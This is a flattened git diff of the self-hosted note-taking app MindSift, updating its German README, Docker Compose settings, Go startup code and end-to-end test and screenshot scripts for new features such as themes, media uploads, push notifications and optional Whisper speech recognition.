* **Link-Vorschau:** Vorschaukarte (Titel, Beschreibung, Bild) für Punkte, die nur aus einer Web-Adresse bestehen, z. B. über `/link`; die Seite ruft der Server ab, nicht dein Browser. Pro Gerät abschaltbar.
* **Ast auslagern & Notizen zusammenführen:** Bulletpoints samt Unterbaum in eigenständige Notizen auslagern (`/extract`) oder Notizen per Drag & Drop bzw. Menü zusammenführen (jeweils mit vollständiger Rückgängig-Funktion).
* Wiki-Links `[[Notiz]]`, auch auf **einzelne Punkte** (`[[Notiz#^id|Text]]`, kopierbar an jedem Punkt), Links und `#Hashtags`; Tag-Seiten bündeln alle Fundstellen.
* Ordner, Favoriten, **To-Do-Rollup** über alle Notizen und Export einer Notiz als `.md`. * Ordner, Favoriten, **To-Do-Rollup** über alle Notizen und Export einer Notiz als `.md`.
* Einfügen von mehrzeiligem Markdown wird in Blöcke zerlegt; `Strg+Z` / `Strg+Umschalt+Z` nimmt eigene Änderungen zurück bzw. stellt sie wieder her. * Eingefügtes Markdown wird zur Gliederung: Überschriften werden zu Abschnitten mit eingerücktem Inhalt, Listen (auch nummeriert) behalten ihre Ebenen, Absätze werden eigene Punkte. Kürzel beim Tippen: `- `, `1. `, `[] `, `# `, `Strg+B`/`I`/`K`. `Strg+Z` / `Strg+Umschalt+Z` nimmt eigene Änderungen zurück bzw. stellt sie wieder her.
* **Teilen:** Notizen und ganze Ordner lassen sich Benutzern oder Gruppen als **Bearbeiter** oder **Leser** freigeben. Empfänger sortieren sie in ihren eigenen Baum ein. * **Teilen:** Notizen und ganze Ordner lassen sich Benutzern oder Gruppen als **Bearbeiter** oder **Leser** freigeben. Empfänger sortieren sie in ihren eigenen Baum ein.
#### 🤝 Gemeinsam bearbeiten #### 🤝 Gemeinsam bearbeiten
* **Live:** Mehrere Personen schreiben gleichzeitig in derselben Notiz; Änderungen erscheinen bei den anderen in Bruchteilen einer Sekunde. Der Kopf der Notiz zeigt, wer gerade mitliest. * **Live:** Mehrere Personen schreiben gleichzeitig in derselben Notiz; Änderungen erscheinen bei den anderen in Bruchteilen einer Sekunde. Die Leiste über der Notiz zeigt, wer gerade mitliest.
* **Kein Überschreiben:** Wer in einem Bullet schreibt, hält ihn kurz für sich; andere sehen ein Schloss mit Namen und arbeiten in den übrigen Bullets weiter. Kommt es doch zu einem Konflikt (z. B. nach Offline-Arbeit), bleibt der zweite Text als markierte Kopie mit „Übernehmen“/„Verwerfen“ erhalten. * **Kein Überschreiben:** Wer in einem Bullet schreibt, hält ihn kurz für sich; andere sehen ein Schloss mit Namen und arbeiten in den übrigen Bullets weiter. Kommt es doch zu einem Konflikt (z. B. nach Offline-Arbeit), bleibt der zweite Text als markierte Kopie mit „Übernehmen“/„Verwerfen“ erhalten.
* **Offline-fest:** Jede Eingabe wird zuerst im Browser gesichert und später übertragen, auch nach Neuladen oder Tagen ohne Netz. * **Offline-fest:** Jede Eingabe wird zuerst im Browser gesichert und später übertragen, auch nach Neuladen oder Tagen ohne Netz.
* **Hinter strengen Proxys:** WebSocket → SSE → Long-Polling → Abfrage alle 3 s; MindSift wählt automatisch, was durchkommt. Der aktive Weg steht im Editor („Live“, „Abgleich alle 3 s“). * **Hinter strengen Proxys:** WebSocket → SSE → Long-Polling → Abfrage alle 3 s; MindSift wählt automatisch, was durchkommt. Der aktive Weg steht in der Leiste über der Notiz („Live“, „Abgleich alle 3 s“).
Technik dahinter: [Doku/modules/collaboration.md](Doku/modules/collaboration.md). Technik dahinter: [Doku/modules/collaboration.md](Doku/modules/collaboration.md).
<p align="center"> <p align="center">
<img src="screenshots/workspace_desktop.png" alt="MindSift Workspace Outliner" width="90%" /> <img src="screenshots/workspace_desktop.png" alt="MindSift Workspace: zwei Personen in derselben Notiz" width="90%" />
</p>
<p align="center">
<img src="screenshots/journal_desktop.png" alt="MindSift Journal mit Kalender" width="90%" />
</p> </p>
### 🛒 Geteilte Listen ### 🛒 Geteilte Listen
* Einkaufs-, Pack- und Checklisten mit Kategorien per Hashtag (`Hafermilch #Kühlregal`), Mengenangaben und Drag & Drop zwischen Kategorien. * Einkaufs-, Pack- und Checklisten mit Kategorien per Hashtag (`Hafermilch #Kühlregal`), Mengenangaben und Drag & Drop zwischen Kategorien oder in eine andere Liste.
* Freigabe an Benutzer und Gruppen (Bearbeiter oder Leser); abgehakte Einträge erscheinen bei allen in Echtzeit. * Freigabe an Benutzer und Gruppen (Bearbeiter oder Leser); abgehakte Einträge erscheinen bei allen in Echtzeit.
<p align="center"> <p align="center">
@@ -91,13 +108,29 @@ Technik dahinter: [Doku/modules/collaboration.md](Doku/modules/collaboration.md)
* Geführte Ersteinrichtung, Rollen *Admin* und *Mitglied*, Einladungscodes, optional offene Registrierung. * Geführte Ersteinrichtung, Rollen *Admin* und *Mitglied*, Einladungscodes, optional offene Registrierung.
* Gruppen mit Gruppen-Admins für Freigaben. * Gruppen mit Gruppen-Admins für Freigaben.
* Admin-Bereich: Benutzer, Einladungen, Instanzname, SMTP, Freigabe-Modus. * Admin-Bereich: Benutzer, Einladungen, Instanzname, SMTP, Freigabe-Modus, Sicherungen, Spracherkennung.
* Vier Themes (Dark, Light, High-Contrast, Soft), installierbar als PWA. Die App startet auch ohne Netz mit dem zuletzt geladenen Stand; offline erfasste Gedanken und abgehakte Aufgaben oder Listeneinträge werden nachgereicht, sobald die Verbindung wieder da ist.
### 🎨 Darstellung & App
* **Fünf Farbfamilien** mit je einer hellen und dunklen Variante: Klassik, Fjord, Terrakotta, Polarized, Suri. Hell/Dunkel auf Wunsch „Wie System“, dazu eine eigene Akzentfarbe, Ecken rund oder eckig und Knöpfe mit oder ohne Rahmen (pro Gerät). Für eigene Themes gibt es einen Theme-Manager (eine CSS-Datei).
* **Installierbar als App (PWA)** auf Smartphone und Desktop. Sie startet auch ohne Netz mit dem zuletzt geladenen Stand; offline erfasste Gedanken und abgehakte Aufgaben oder Listeneinträge werden nachgereicht, sobald die Verbindung wieder da ist.
<table>
<tr>
<td align="center"><img src="screenshots/Theme_fjord.png" alt="Farbfamilie Fjord, links hell, rechts dunkel" /><br /><sub><b>Fjord</b></sub></td>
<td align="center"><img src="screenshots/Theme_terracotta.png" alt="Farbfamilie Terrakotta, links hell, rechts dunkel" /><br /><sub><b>Terrakotta</b></sub></td>
</tr>
<tr>
<td align="center"><img src="screenshots/Theme_polarized.png" alt="Farbfamilie Polarized, links hell, rechts dunkel" /><br /><sub><b>Polarized</b></sub></td>
<td align="center"><img src="screenshots/Theme_suri.png" alt="Farbfamilie Suri, links hell, rechts dunkel" /><br /><sub><b>Suri</b></sub></td>
</tr>
</table>
### 🔌 Integrationen ### 🔌 Integrationen
* **Webhook / API-Key:** `POST /api/v1/webhooks/ingest` legt Aufgaben aus Smarthome, Skripten oder Automationen an. * **Eingehend (API-Key):** `POST /api/v1/webhooks/ingest` legt Gedanken, Aufgaben oder Listeneinträge aus Smarthome, Skripten oder Automationen an.
* Persönliche API-Keys, Datenexport als JSON. * **Ausgehend:** eigener Webhook als Benachrichtigungskanal (JSON per POST), Discord, E-Mail, Push.
* Persönliche API-Keys, Datenexport als JSON, Markdown-Archiv (Obsidian-kompatibel).
--- ---
@@ -123,12 +156,14 @@ curl -fsSL https://git.dsit.me/sandrodach/MindSift/raw/branch/dev/.env.example -
docker compose up -d docker compose up -d
``` ```
Alle Einstellungen stehen mit Erklärung in `.env`. Optional kommt eine eigene Spracherkennung dazu: Block `whisper` in `docker-compose.yml` einkommentieren und `STT_URL=http://whisper:8000` setzen (Anleitung in der Datei).
Minimal: Minimal:
```yaml ```yaml
services: services:
mindsift: mindsift:
image: git.dsit.me/sandrodach/mindsift:stable # oder feste Version (:v0.4); :latest = main, :dev = Entwicklungsstand image: git.dsit.me/sandrodach/mindsift:latest # :latest = Stand von main (jede Version), :dev = Entwicklungsstand
restart: unless-stopped restart: unless-stopped
ports: ["8080:8080"] ports: ["8080:8080"]
volumes: ["./data:/data"] volumes: ["./data:/data"]
@@ -159,16 +194,23 @@ Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch d
| `ALLOW_REGISTRATION` | `false` | Offene Registrierung (im Admin-UI änderbar) | | `ALLOW_REGISTRATION` | `false` | Offene Registrierung (im Admin-UI änderbar) |
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | Logging | | `LOG_LEVEL` / `DEBUG` | `info` / `false` | Logging |
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer | E-Mail-Alarme (auch im Admin-UI) | | `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer | E-Mail-Alarme (auch im Admin-UI) |
| `SMTP_FROM_NAME` | `MindSift` | Anzeigename des Absenders bei E-Mails |
| `SMTP_SKIP_VERIFY` | `false` | Zertifikatsprüfung für interne Mailserver abschalten | | `SMTP_SKIP_VERIFY` | `false` | Zertifikatsprüfung für interne Mailserver abschalten |
| `NOTIFY_DIGEST_MINUTES` | `5` | Bündelungsintervall für Benachrichtigungen in Minuten |
| `VAPID_PUBLIC_KEY`, `VAPID_PRIVATE_KEY`, `VAPID_SUBJECT` | automatisch | Schlüssel für Push-Benachrichtigungen; ohne Angabe einmal erzeugt und in der Datenbank gespeichert. `VAPID_SUBJECT` (Kontakt für die Push-Dienste, `mailto:` oder `https://`) sonst aus `BASE_URL` |
| `MEDIA_*` | diverse | Grenzen für Bilder und Audio in Notizen (`MEDIA_MAX_IMAGE_MB=15`, `MEDIA_MAX_AUDIO_MB=50`, `MEDIA_QUOTA_MB=0`) |
| `STT_*` | diverse | Optionale eigene Spracherkennung per Whisper (`STT_URL`, `STT_MODEL`, `STT_LANGUAGE` …; siehe [Doku/architecture.md](Doku/architecture.md#spracherkennung)) |
| `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) | | `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` (oder `…_CONTENT_FILE` mit Dateipfad) | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster. Ohne URL und Text bleibt der Link unsichtbar. | | `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` (oder `…_CONTENT_FILE` mit Dateipfad) | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster. Ohne URL und Text bleibt der Link unsichtbar. |
| `LEGAL_CUSTOM_LINK_LABEL`, `LEGAL_CUSTOM_LINK_URL` | leer | Zusätzlicher Link im Footer (z. B. Statusseite), nur `https` |
| `MINDA_DEMO` | `false` | Legt Demo-Konten `admin/admin` (mit Beispieldaten) und `user/user` an; eine Notiz und zwei Listen sind zwischen beiden geteilt, um das gemeinsame Bearbeiten auszuprobieren. **Nie auf öffentlichen Servern!** | | `MINDA_DEMO` | `false` | Legt Demo-Konten `admin/admin` (mit Beispieldaten) und `user/user` an; eine Notiz und zwei Listen sind zwischen beiden geteilt, um das gemeinsame Bearbeiten auszuprobieren. **Nie auf öffentlichen Servern!** |
| `DEMO_RESET_MINUTES` | `20` | Nur im Demo-Modus: setzt die Datenbank in diesem Abstand auf die Beispieldaten zurück (`0` = nie). Angemeldete bleiben angemeldet, die App zeigt einen Countdown und lädt danach neu. | | `DEMO_RESET_MINUTES` | `20` | Nur im Demo-Modus: setzt die Datenbank in diesem Abstand auf die Beispieldaten zurück (`0` = nie). Angemeldete bleiben angemeldet, die App zeigt einen Countdown und lädt danach neu. |
* **Reverse-Proxy:** Am besten WebSocket-Upgrade und ungepufferte SSE-Streams durchreichen. Blockiert ein Proxy beides, funktioniert MindSift trotzdem über Long-Polling bzw. regelmäßige Abfragen, nur etwas träger. Beispiele für Nginx, Traefik, Caddy und Cloudflare: [Doku/reverse-proxy.md](Doku/reverse-proxy.md). * **Reverse-Proxy:** Am besten WebSocket-Upgrade und ungepufferte SSE-Streams durchreichen. Blockiert ein Proxy beides, funktioniert MindSift trotzdem über Long-Polling bzw. regelmäßige Abfragen, nur etwas träger. Beispiele für Nginx, Traefik, Caddy und Cloudflare: [Doku/reverse-proxy.md](Doku/reverse-proxy.md).
* **Datensicherung:** In den Admin-Einstellungen lassen sich automatische tägliche Backups einschalten (ganze Datenbank plus ein Backup je Benutzer unter `data/backups/`, Standard 3 Tage aufbewahrt). Benutzer laden ihre Server-Backups herunter oder spielen sie ganz oder für einzelne Bereiche wieder ein. Der Ordner liegt neben der Datenbank: zusätzlich woanders sichern. Manuell geht weiterhin `sqlite3 mindsift.db ".backup 'backup.db'"`. * **Datensicherung:** In den Admin-Einstellungen lassen sich automatische tägliche Backups einschalten (ganze Datenbank plus ein Backup je Benutzer unter `data/backups/`, Standard 3 Tage aufbewahrt). Benutzer laden ihre Server-Backups herunter oder spielen sie ganz oder für einzelne Bereiche wieder ein. Der Ordner liegt neben der Datenbank: zusätzlich woanders sichern. Manuell geht weiterhin `sqlite3 mindsift.db ".backup 'backup.db'"`.
* **Updates:** Neues Image ziehen und Container neu starten (`docker compose pull && docker compose up -d`). Das Schema wird beim Start automatisch angepasst. Die laufende Version steht im Kopf der App unter dem Namen. * **Updates:** Neues Image ziehen und Container neu starten (`docker compose pull && docker compose up -d`). Das Schema wird beim Start automatisch angepasst. Die laufende Version steht im Kopf der App unter dem Namen.
* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main`, `:stable` = zuletzt veröffentlichte Version. Ein Git-Tag wie `v1.2.0` erzeugt `:v1.2.0` und verschiebt `:stable` darauf. * **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main` (jede neue Version landet dort). Ein Git-Tag wie `v1.2.0` erzeugt zusätzlich `:v1.2.0` und `:stable`; Vorabversionen wie `v1.0.0-rc.1` verschieben `:stable` nicht.
* **Versionen & Änderungen:** [Semantic Versioning](https://semver.org/spec/v2.0.0.html), was sich geändert hat, steht in der [CHANGELOG.md](CHANGELOG.md).
--- ---
@@ -189,12 +231,12 @@ npm run test:run # Komponententests (Vitest, jsdom)
npm run build # Produktions-Build npm run build # Produktions-Build
cd .. cd ..
e2e/run.sh # Browser-Tests (Playwright, zwei Benutzer) gegen ein frisch gebautes Image e2e/run.sh # Browser-Tests (Playwright, zwei Benutzer) gegen ein frisch gebautes Image
APP_VERSION=v0.4 e2e/screenshots.sh # Screenshots dieser README neu erzeugen (Demo-Daten) e2e/screenshots.sh # Screenshots dieser README neu erzeugen (Demo-Daten, hell/dunkel diagonal)
``` ```
Für das Binary wird das gebaute Frontend nach `cmd/server/dist` kopiert (`go:embed`); das mehrstufige `Dockerfile` erledigt das und führt Typprüfung, Frontend-Tests, Go-Vet und Go-Tests beim Image-Build aus. Für das Binary wird das gebaute Frontend nach `cmd/server/dist` kopiert (`go:embed`); das mehrstufige `Dockerfile` erledigt das und führt Typprüfung, Frontend-Tests, Go-Vet und Go-Tests beim Image-Build aus.
**Stack:** Go (chi, gorilla/websocket, JWT, modernc SQLite) · React 18, TypeScript, Vite, Tailwind. **Stack:** Go (chi, gorilla/websocket, JWT, modernc SQLite, webpush-go) · React 18, TypeScript, Vite, Tailwind.
--- ---
@@ -206,8 +248,8 @@ Die technische Doku liegt unter [Doku/](Doku/README.md): Architektur, Datenbank,
## 🔒 Deine Daten gehören dir ## 🔒 Deine Daten gehören dir
* Selbst gehostet, keine Telemetrie, keine Fremddienste. Ausgehende Verbindungen gibt es nur zu den Alarm-Zielen, die du selbst einrichtest (SMTP, Discord, Webhook). * Selbst gehostet, keine Telemetrie, keine Fremddienste, Schrift und Icons werden mitgeliefert. Ausgehende Verbindungen baut nur der Server auf, und nur für das, was du nutzt: Benachrichtigungen (SMTP, Discord, eigener Webhook, die Push-Dienste der Browser), Link-Vorschauen (die verlinkte Seite wird einmal abgerufen, pro Gerät abschaltbar) und optional dein eigener Whisper-Server.
* Alle Inhalte liegen in einer einzigen SQLite-Datei; der ganze Workspace lässt sich als Obsidian-kompatibles Markdown-Archiv (ZIP) exportieren, alle Daten eines Benutzers als JSON. * Alle Inhalte liegen in einer einzigen SQLite-Datei; Bilder und Sprachnotizen liegen daneben in `data/media/`. Der ganze Workspace lässt sich als Obsidian-kompatibles Markdown-Archiv (ZIP, mit `attachments/`) exportieren, alle Daten eines Benutzers als Backup-ZIP (JSON plus Mediendateien).
--- ---
+3 -1
View File
@@ -9,6 +9,7 @@ import (
"net/http" "net/http"
"os" "os"
"os/signal" "os/signal"
"path/filepath"
"syscall" "syscall"
"time" "time"
_ "time/tzdata" // time zones without system tzdata (scratch/alpine images) _ "time/tzdata" // time zones without system tzdata (scratch/alpine images)
@@ -46,6 +47,7 @@ func main() {
if cfg.DemoMode { if cfg.DemoMode {
slog.Info("🧪 Demo-Modus aktiv: Setze Datenbank zurück und richte Demo-Accounts ein...") slog.Info("🧪 Demo-Modus aktiv: Setze Datenbank zurück und richte Demo-Accounts ein...")
_ = os.RemoveAll(filepath.Join(filepath.Dir(cfg.DatabasePath), "media")) // uploads of the last run
if err := store.ResetAndSeedDemo(); err != nil { if err := store.ResetAndSeedDemo(); err != nil {
slog.Warn("⚠️ Fehler beim Einrichten des Demo-Modus", "error", err) slog.Warn("⚠️ Fehler beim Einrichten des Demo-Modus", "error", err)
} else { } else {
@@ -54,7 +56,7 @@ func main() {
} }
// Seed SMTP defaults from environment variables into DB if not yet configured in DB // Seed SMTP defaults from environment variables into DB if not yet configured in DB
store.SeedSMTPDefaultsFromEnv(cfg.SMTPHost, cfg.SMTPPort, cfg.SMTPUser, cfg.SMTPPass, cfg.SMTPFrom, cfg.SMTPTLS, cfg.SMTPSkipVerify) store.SeedSMTPDefaultsFromEnv(cfg.SMTPHost, cfg.SMTPPort, cfg.SMTPUser, cfg.SMTPPass, cfg.SMTPFrom, cfg.SMTPFromName, cfg.SMTPTLS, cfg.SMTPSkipVerify)
wsHub := ws.NewHub() wsHub := ws.NewHub()
+55 -6
View File
@@ -1,3 +1,6 @@
# MindSift – Docker Compose
# Eingestellt wird alles in der Datei .env neben dieser Datei. Was jede Variable bewirkt, steht in
# .env.example (kopieren: cp .env.example .env). Hier stehen nur die Zuordnungen mit Standardwerten.
services: services:
mindsift: mindsift:
image: git.dsit.me/sandrodach/mindsift:dev image: git.dsit.me/sandrodach/mindsift:dev
@@ -10,25 +13,71 @@ services:
environment: environment:
- PORT=8080 - PORT=8080
- DATA_DIR=/data - DATA_DIR=/data
- TZ=${TZ:-Europe/Berlin}
- JWT_SECRET=${JWT_SECRET:-change_this_to_a_secure_random_key_min_32_chars} - JWT_SECRET=${JWT_SECRET:-change_this_to_a_secure_random_key_min_32_chars}
- BASE_URL=${BASE_URL:-http://localhost:8080} - BASE_URL=${BASE_URL:-http://localhost:8080}
- ALLOW_REGISTRATION=${ALLOW_REGISTRATION:-false} - ALLOW_REGISTRATION=${ALLOW_REGISTRATION:-false}
- TRUSTED_PROXIES=${TRUSTED_PROXIES:-private}
- LOGIN_PROTECTION=${LOGIN_PROTECTION:-true}
- LOG_LEVEL=${LOG_LEVEL:-info} - LOG_LEVEL=${LOG_LEVEL:-info}
# Set LOG_LEVEL=debug or DEBUG=true for detailed request and sync logging - DEBUG=${DEBUG:-false}
# - LOG_LEVEL=debug
# - DEBUG=true
# Demo mode: if true, automatically seeds demo accounts admin/admin and user/user
- MINDA_DEMO=${MINDA_DEMO:-false} - MINDA_DEMO=${MINDA_DEMO:-false}
# Optional SMTP / Mail Configuration (can also be configured in Admin UI) - DEMO_RESET_MINUTES=${DEMO_RESET_MINUTES:-20}
# E-Mail
- SMTP_HOST=${SMTP_HOST:-} - SMTP_HOST=${SMTP_HOST:-}
- SMTP_PORT=${SMTP_PORT:-587} - SMTP_PORT=${SMTP_PORT:-587}
- SMTP_USER=${SMTP_USER:-} - SMTP_USER=${SMTP_USER:-}
- SMTP_PASS=${SMTP_PASS:-} - SMTP_PASS=${SMTP_PASS:-}
- SMTP_FROM=${SMTP_FROM:-} - SMTP_FROM=${SMTP_FROM:-}
- SMTP_FROM_NAME=${SMTP_FROM_NAME:-MindSift}
- NOTIFY_DIGEST_MINUTES=${NOTIFY_DIGEST_MINUTES:-5}
- SMTP_TLS=${SMTP_TLS:-true} - SMTP_TLS=${SMTP_TLS:-true}
- SMTP_SKIP_VERIFY=${SMTP_SKIP_VERIFY:-false} - SMTP_SKIP_VERIFY=${SMTP_SKIP_VERIFY:-false}
# Optional: Impressum / Datenschutz (URL oder Markdown-Datei, z. B. per Volume eingebunden) # Web-Push: ohne Angabe erzeugt MindSift die Schlüssel selbst
# - VAPID_SUBJECT=${VAPID_SUBJECT:-mailto:admin@example.com}
# Impressum / Datenschutz
- LEGAL_IMPRINT_URL=${LEGAL_IMPRINT_URL:-} - LEGAL_IMPRINT_URL=${LEGAL_IMPRINT_URL:-}
- LEGAL_PRIVACY_URL=${LEGAL_PRIVACY_URL:-} - LEGAL_PRIVACY_URL=${LEGAL_PRIVACY_URL:-}
- LEGAL_IMPRINT_CONTENT=${LEGAL_IMPRINT_CONTENT:-}
- LEGAL_PRIVACY_CONTENT=${LEGAL_PRIVACY_CONTENT:-}
- LEGAL_IMPRINT_CONTENT_FILE=${LEGAL_IMPRINT_CONTENT_FILE:-} - LEGAL_IMPRINT_CONTENT_FILE=${LEGAL_IMPRINT_CONTENT_FILE:-}
- LEGAL_PRIVACY_CONTENT_FILE=${LEGAL_PRIVACY_CONTENT_FILE:-} - LEGAL_PRIVACY_CONTENT_FILE=${LEGAL_PRIVACY_CONTENT_FILE:-}
# Eigener Link im Footer (nur https://)
# - LEGAL_CUSTOM_LINK_LABEL=${LEGAL_CUSTOM_LINK_LABEL:-}
# - LEGAL_CUSTOM_LINK_URL=${LEGAL_CUSTOM_LINK_URL:-}
# Bilder und Audio in Notizen
- MEDIA_MAX_IMAGE_MB=${MEDIA_MAX_IMAGE_MB:-15}
- MEDIA_MAX_AUDIO_MB=${MEDIA_MAX_AUDIO_MB:-50}
- MEDIA_QUOTA_MB=${MEDIA_QUOTA_MB:-0}
- MEDIA_DEMO_MAX_MB=${MEDIA_DEMO_MAX_MB:-3}
# Spracherkennung
- STT_URL=${STT_URL:-}
- STT_MODEL=${STT_MODEL:-deepdml/faster-whisper-large-v3-turbo-ct2}
- STT_LANGUAGE=${STT_LANGUAGE:-de}
- STT_API_KEY=${STT_API_KEY:-}
- STT_DISABLED=${STT_DISABLED:-false}
- STT_MAX_SECONDS=${STT_MAX_SECONDS:-600}
- STT_MAX_UPLOAD_MB=${STT_MAX_UPLOAD_MB:-25}
- STT_MAX_PARALLEL=${STT_MAX_PARALLEL:-1}
- STT_PER_USER_PER_HOUR=${STT_PER_USER_PER_HOUR:-60}
- STT_TIMEOUT_SECONDS=${STT_TIMEOUT_SECONDS:-120}
# Optional: eigene Spracherkennung (Whisper). Zum Einschalten:
# 1. die Rauten vor dem Block "whisper" unten entfernen
# 2. in .env setzen: STT_URL=http://whisper:8000
# 3. mkdir -p whisper && sudo chown 1000:1000 whisper (der Container läuft als UID 1000)
# 4. docker compose up -d
# Das Modell lädt MindSift beim ersten Start selbst nach ./whisper (large-v3-turbo ca. 1,6 GB).
# RAM: large-v3-turbo ca. 2 GB, small ca. 1 GB. Kein Port nach außen nötig.
#
# whisper:
# image: ghcr.io/speaches-ai/speaches:0.8.3-cpu
# container_name: mindsift-whisper
# restart: unless-stopped
# volumes:
# - ./whisper:/home/ubuntu/.cache/huggingface/hub
# environment:
# - WHISPER__COMPUTE_TYPE=int8 # schneller auf der CPU, kaum Qualitätsverlust
# - STT_MODEL_TTL=-1 # Modell im Speicher halten statt nach 5 Min. zu entladen
# - ENABLE_UI=false # ohne die Weboberfläche von speaches
# - LOG_LEVEL=info
+26 -8
View File
@@ -1,18 +1,36 @@
#!/usr/bin/env bash #!/usr/bin/env bash
# Builds MindSift, starts it in demo mode on port 18080 with a fresh database and runs the browser tests. # Builds MindSift, starts it in demo mode with a fresh database and runs the browser tests.
# Requires podman (or docker via ENGINE=docker). Usage: e2e/run.sh # Requires podman (or docker via ENGINE=docker). Usage: e2e/run.sh
# Every run uses its own container, image tag and port, so runs from several working copies at the
# same time cannot remove or test each other's server.
set -euo pipefail set -euo pipefail
ENGINE="${ENGINE:-podman}" ENGINE="${ENGINE:-podman}"
ROOT="$(cd "$(dirname "$0")/.." && pwd)" ROOT="$(cd "$(dirname "$0")/.." && pwd)"
WORK="$(mktemp -d)" WORK="$(mktemp -d)"
trap '"$ENGINE" rm -f mindsift-e2e >/dev/null 2>&1 || true; rm -rf "$WORK"' EXIT RUN_ID="$$-$RANDOM"
NAME="mindsift-e2e-$RUN_ID"
IMAGE="mindsift-e2e-image:$RUN_ID"
# A free port above 18000 (E2E_PORT overrides)
PORT="${E2E_PORT:-}"
if [ -z "$PORT" ]; then
for p in $(shuf -i 18100-18999 -n 50); do
if ! (exec 3<>"/dev/tcp/127.0.0.1/$p") 2>/dev/null; then PORT="$p"; break; fi
done
fi
cleanup() {
"$ENGINE" rm -f "$NAME" >/dev/null 2>&1 || true
"$ENGINE" rmi "$IMAGE" >/dev/null 2>&1 || true
rm -rf "$WORK"
}
trap cleanup EXIT
echo "Baue Image …" echo "Baue Image …"
"$ENGINE" build -q -t mindsift-e2e-image "$ROOT" >/dev/null "$ENGINE" build -q -t "$IMAGE" "$ROOT" >/dev/null
"$ENGINE" run -d --name mindsift-e2e --network host -e PORT=18080 -e MINDA_DEMO=true \ "$ENGINE" run -d --name "$NAME" --network host -e PORT="$PORT" -e MINDA_DEMO=true \
-e JWT_SECRET=e2e-only-secret -v "$WORK":/data:Z mindsift-e2e-image >/dev/null -e JWT_SECRET=e2e-only-secret -v "$WORK":/data:Z "$IMAGE" >/dev/null
for _ in $(seq 1 60); do curl -s -m 1 http://localhost:18080/api/v1/health >/dev/null && break; sleep 0.5; done for _ in $(seq 1 60); do curl -s -m 1 "http://localhost:$PORT/api/v1/health" >/dev/null && break; sleep 0.5; done
echo "Starte Browser-Tests …" echo "Starte Browser-Tests (Port $PORT) …"
"$ENGINE" run --rm --network host -v "$ROOT/e2e":/e2e:Z -w /e2e mcr.microsoft.com/playwright:v1.48.2-jammy \ "$ENGINE" run --rm --network host -e MINDSIFT_URL="http://localhost:$PORT" -v "$ROOT/e2e":/e2e:Z -w /e2e \
mcr.microsoft.com/playwright:v1.48.2-jammy \
sh -c 'npm install --no-audit --no-fund >/dev/null 2>&1 && node collab.e2e.mjs && node share.e2e.mjs && node lock.e2e.mjs && node channels.e2e.mjs' sh -c 'npm install --no-audit --no-fund >/dev/null 2>&1 && node collab.e2e.mjs && node share.e2e.mjs && node lock.e2e.mjs && node channels.e2e.mjs'
+145 -7
View File
@@ -1,12 +1,26 @@
// Takes the README screenshots from a fresh server in demo mode (sample data of admin/admin). // Takes the README screenshots from a fresh server in demo mode (sample data of admin/admin).
// The title picture and the colour-family grid are taken twice in the same state – light and dark
// theme – and joined along a slanted diagonal (light left, dark right); the others are plain light
// or dark pictures.
// Usage: e2e/screenshots.sh (builds the image) or MINDSIFT_URL=… SHOTS_DIR=… node screenshots.mjs // Usage: e2e/screenshots.sh (builds the image) or MINDSIFT_URL=… SHOTS_DIR=… node screenshots.mjs
// Theme pair: SHOT_LIGHT / SHOT_DARK (default: light / dark, the "Klassik" family)
import fs from 'node:fs';
import { chromium } from 'playwright'; import { chromium } from 'playwright';
const BASE = process.env.MINDSIFT_URL || 'http://localhost:18080'; const BASE = process.env.MINDSIFT_URL || 'http://localhost:18080';
const OUT = process.env.SHOTS_DIR || '../screenshots'; const OUT = process.env.SHOTS_DIR || '../screenshots';
const LIGHT = process.env.SHOT_LIGHT || 'light';
const DARK = process.env.SHOT_DARK || 'dark';
const DESKTOP = { viewport: { width: 1518, height: 886 }, deviceScaleFactor: 2 }; const DESKTOP = { viewport: { width: 1518, height: 886 }, deviceScaleFactor: 2 };
const MOBILE = { viewport: { width: 390, height: 844 }, deviceScaleFactor: 2, isMobile: true, hasTouch: true }; const MOBILE = { viewport: { width: 390, height: 844 }, deviceScaleFactor: 2, isMobile: true, hasTouch: true };
const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
// Colour families for the theme grid in the README (Klassik is the title picture)
const FAMILIES = [
['fjord', 'fjord', 'fjord-night'],
['terracotta', 'terracotta', 'terracotta-night'],
['polarized', 'polarized-light', 'polarized'],
['suri', 'suri-light', 'suri'],
];
async function login(user) { async function login(user) {
const res = await fetch(`${BASE}/api/v1/auth/login`, { const res = await fetch(`${BASE}/api/v1/auth/login`, {
@@ -20,7 +34,13 @@ async function login(user) {
async function open(browser, token, options) { async function open(browser, token, options) {
const ctx = await browser.newContext({ ...options, colorScheme: 'dark', locale: 'de-DE' }); const ctx = await browser.newContext({ ...options, colorScheme: 'dark', locale: 'de-DE' });
await ctx.addInitScript((t) => localStorage.setItem('mindsift_jwt_token', t), token); await ctx.addInitScript(
([t, theme]) => {
localStorage.setItem('mindsift_jwt_token', t);
localStorage.setItem('mindsift_active_theme', theme);
},
[token, DARK]
);
const page = await ctx.newPage(); const page = await ctx.newPage();
page.on('pageerror', (e) => console.log('PAGEERROR', e.message)); page.on('pageerror', (e) => console.log('PAGEERROR', e.message));
await page.goto(BASE); await page.goto(BASE);
@@ -28,11 +48,88 @@ async function open(browser, token, options) {
return page; return page;
} }
const tab = (page, name) => page.getByRole('button', { name: new RegExp(name) }).first().click(); // Anchored, so "Workspace" does not hit the triage button "Als Notiz – Im Workspace"
